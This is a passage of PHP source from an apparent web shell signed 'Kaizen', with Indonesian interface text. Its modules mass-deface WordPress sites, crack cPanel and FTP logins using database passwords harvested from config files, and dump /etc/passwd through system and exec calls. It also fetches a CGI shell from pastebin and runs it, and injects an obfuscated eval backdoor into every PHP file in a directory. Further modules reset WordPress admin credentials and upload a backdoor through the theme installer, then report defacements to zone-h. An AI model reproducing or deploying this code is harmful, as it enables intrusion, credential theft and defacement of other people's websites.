$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
$update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
$update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
echo "<div style='margin: 5px auto;'>";
if($target == '') {
echo "URL: <font color=red>error, not put domain name</font> -> ";
} else {
echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
}
if(!$update OR !$conn OR !$db) {
echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
} else {
echo "<font color=lime>Succes</font><br>";
}
echo "</div>";
mysql_close($conn);
}
}
} else {
echo "<center>
<h1>Auto Edit Title+Content WordPress</h1>
<form method='post'>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set Title: <br>
<input type='text' name='new_title' value='Hacked By Kaizen' placeholder='New Title'><br><br>
Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
<span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
<textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
<input type='submit' name='hajar' value='Start' style='width: 450px;'><br>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
} elseif($_GET['do'] == 'zoneh') {
if($_POST['submit']) {
$domain = explode("
", $_POST['url']);
$nick = $_POST['nick'];
echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
function zoneh($url,$nick) {
$ch = curl_init("http://www.zone-h.com/notify/single");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
return curl_exec($ch);
curl_close($ch);
}
foreach($domain as $url) {
$zoneh = zoneh($url,$nick);
if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
echo "$url -> <font color=lime>OK</font><br>";
} else {
echo "$url -> <font color=red>ERROR</font><br>";
}
}
} else {
echo "<center><form method='post'>
<u>Defacer</u>: <br>
<input type='text' name='nick' size='50' value='Kaizen'><br>
<u>Domains</u>: <br>
<textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
<input type='submit' name='submit' value='Submit' style='width: 450px;'>
</form>";
}
echo "</center>";
}elseif($_GET['do'] == 'cpftp_auto') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
//
} else {
echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
$ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
$ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
if((!$ftp_login) || (!$ftp_conn)) {
echo "[+] <font color=red>Login Failed</font><br><br>";
} else {
echo "[+] <font color=lime>Login Sukses</font><br>";
$fi = htmlspecialchars($_POST['file_deface']);
$deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
if($deface) {
$i++;
echo "[+] <font color=lime>Deface Sukses</font><br>";
if(function_exists('posix_getpwuid')) {
$domain_cp = file_get_contents("/etc/named.conf");
if($domain_cp == '') {
echo "[+] <font color=red>not put domain name</font><br><br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url = $user_cp_url['name'];
if($user_cp_url == $ucp) {
echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
break;
}
}
}
} else {
echo "[+] <font color=red>not put domain name</font><br><br>";
}
} else {
echo "[-] <font color=red>Failed Deface</font><br><br>";
}
}
//echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Sukses Deface ".$i." Cpanel by <font color=lime>Kaizen</font>";
}
} else {
echo "<center>
<form method='post'>
Filename: <br>
<input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
Deface Page: <br>
<input type='text' name='deface' placeholder='http://www.web-yang-udah-do-deface.com/filemu.php' style='width: 450px;'><br>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Start'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
}
}
elseif($_GET['do'] == 'cgi') {
$cgi_dir = mkdir('idx_cgi', 0755);
$file_cgi = "idx_cgi/cgi.izo";
$isi_htcgi = "AddHandler cgi-script .izo";
$htcgi = fopen(".htaccess", "w");
$cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
$cgi = fopen($file_cgi, "w");
fwrite($cgi, $cgi_script);
fwrite($htcgi, $isi_htcgi);
chmod($file_cgi, 0755);
echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
} elseif($_GET['do'] == 'fake_root') {
ob_start();
function reverse($url) {
$ch = curl_init("http://domains.yougetsignal.com/domains.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
foreach($array as $lnk) {
$lnk = "http://$lnk";
$lnk = str_replace(",", "", $lnk);
echo $lnk."
";
ob_flush();
flush();
}
curl_close($ch);
}
function cek($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$resp = curl_exec($ch);
return $resp;
}
$cwd = getcwd();
$ambil_user = explode("/", $cwd);
$user = $ambil_user[2];
if($_POST['reverse']) {
$site = explode("
", $_POST['url']);
$file = $_POST['file'];
foreach($site as $url) {
$cek = cek("$url/~$user/$file");
if(preg_match("/hacked/i", $cek)) {
echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
}
}
} else {
echo "<center><form method='post'>
Filename: <br><input type='text' name='file' value='Kaizen.html' size='50' height='10'><br>
User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
Domain: <br>
<textarea style='width: 450px; height: 250px;' name='url'>";
reverse($_SERVER['HTTP_HOST']);
echo "</textarea><br>
<input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
</form><br>
NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
}
} elseif($_GET['do'] == 'adminer') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
function adminer($url, $isi) {
$fp = fopen($isi, "w");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
}
if(file_exists('adminer.php')) {
echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
} else {
if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
} else {
echo "<center><font color=red>Failed creat file adminer</font></center>";
}
}
}elseif($_GET['do'] == 'injectcode') {?><center>
<form method='POST'>
<table>
<tr>
<td width="100" class="title">
Directory
</td>
<td>
<input type='text' style="width: 400px;" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
</td>
</tr>
<tr>
<td class="title">
Mode
</td>
<td>
<select style="width: 400px;" name="mode" class="box">
<option value="Apender">Apender</option>
<option value="Overwriter">Overwriter</option>
</select>
</td>
</tr>
<tr>
<td class="title">
File Type
</td>
<td>
<input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
</td>
</tr>
<tr>
<td>Create A backdoor by injecting this code in every php file of current directory</td>
</tr>
<tr>
<td colspan="2">
<textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHANCmV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoInkwelRVSWwzZHcySlZrcFVpdFdzVGkxTHpORklyOHJNUzh0SkxFblZTRW9zVGpVemlVOUpUYzVQU2RWSXk4eEpqVTlQTFlsUHpzOHJTYzByS2RaUXlpZ3BLYkRTMXk5SUxDNUpUY3JNMDB2T3o5VXZTaXpYVC9VemN5d3NUTXhXMGdRQzYxb0EiKSkpOw0KPz4="); ?></textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
</td>
</tr>
</form>
</table><div id="showinject"</div> <?php
$filetype = $_POST['filetype'];
$mode = "a";
if($_POST['mode'] == 'Apender')
$mode = "a";
if($_POST['mode'] == 'Overwriter')
$mode = "w";
if (is_dir($_POST['pathtomass']))
{
$lolinject = $_POST['injectthis'];
$mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
if(substr($_POST['pathtomass'], -1) == "\")
$mypath = $_POST['pathtomass'] . "*.".$filetype;
foreach (glob($mypath) as $injectj00)
{
if($injectj00 == __FILE__)
continue;
$fp=fopen($injectj00,$mode);
if (fputs($fp,$lolinject))
echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
else
echo 'failed to inject '.$injectj00.'<br>';
}
}
else
echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
}
elseif($_GET['do'] == 'passwbypass') {
echo '<center>Bypass etc/passw With:<br>
<table style="width:50%">
<tr>
<td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
<td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
<td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
<td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
<td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
</tr></table>Bypass User With : <table style="width:50%">
<tr>
<td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
<td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
<td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
<td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
<td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
</tr>
</table><br>';
if ($_POST['awkuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST['systuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['passthuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['exuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['shexuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
}
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['passth'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['ex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['shex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
echo '<center>';
if($_POST['melex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br><br>";
}
//
//
} elseif($_GET['do'] == 'auto_dwp') {
if($_POST['auto_deface_wp']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$scan = $_POST['link_config'];
$link_config = scandir($scan);
$script = htmlspecialchars($_POST['script']);
$user = "Kaizen";
$pass = "Kaizen";
$passx = md5($pass);
foreach($link_config as $dir_config) {
if(!is_file("$scan/$dir_config")) continue;
$config = file_get_contents("$scan/$dir_config");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "[-] <font color=red>error, not put domain name</font><br>";
} else {
echo "[+] $target <br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color='lime'>Sukses</font><br>";
echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
} else {
echo "[-] <font color='red'>Failed</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center><h1>WordPress Auto Deface</h1>
<form method='post'>
<input type='text' name='link_config' size='50' height='10' value='$dir'><br>
<input type='text' name='script' height='10' size='50' placeholder='Hacked By Kaizen' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Start'>
</form>
<br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
</center>";
}
} elseif($_GET['do'] == 'auto_dwp2') {
if($_POST['auto_deface_wp']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("
", $_POST['link']);
$script = htmlspecialchars($_POST['script']);
$user = "Kaizen";
$pass = "Kaizen";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "[-] <font color=red>error, not put domain name</font><br>";
} else {
echo "[+] $target <br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "[+] <font color='lime'>Sukses</font><br>";
echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
} else {
echo "[-] <font color='red'>Failed</font><br>";
echo "[!!] coba aja manual: <br>";
echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
} else {
echo "<center><h1>WordPress Auto Deface V.2</h1>
<form method='post'>
Link Config: <br>
<textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
<input type='text' name='script' height='10' size='50' placeholder='Hacked By Kaizen' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Start'>
</form></center>";
}
} elseif($_GET['act'] == 'newfile') {
if($_POST['new_save_file']) {
$newfile = htmlspecialchars($_POST['newfile']);
$fopen = fopen($newfile, "a+");
if($fopen) {
$act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
} else {
$act = "<font color=red>permission denied</font>";
}
}
echo $act;
echo "<form method='post'>
Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
<input type='submit' name='new_save_file' value='Submit'>
</form>";
} elseif($_GET['act'] == 'newfolder') {
if($_POST['new_save_folder']) {
$new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
if(!mkdir($new_folder)) {
$act = "<font color=red>permission denied</font>";
} else {
$act = "<script>window.location='?dir=".$dir."';</script>";
}
}
echo $act;
echo "<form method='post'>
Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
<input type='submit' name='new_save_folder' value='Submit'>
</form>";
} elseif($_GET['act'] == 'rename_dir') {
if($_POST['dir_rename']) {
$dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
if($dir_rename) {
$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
} else {
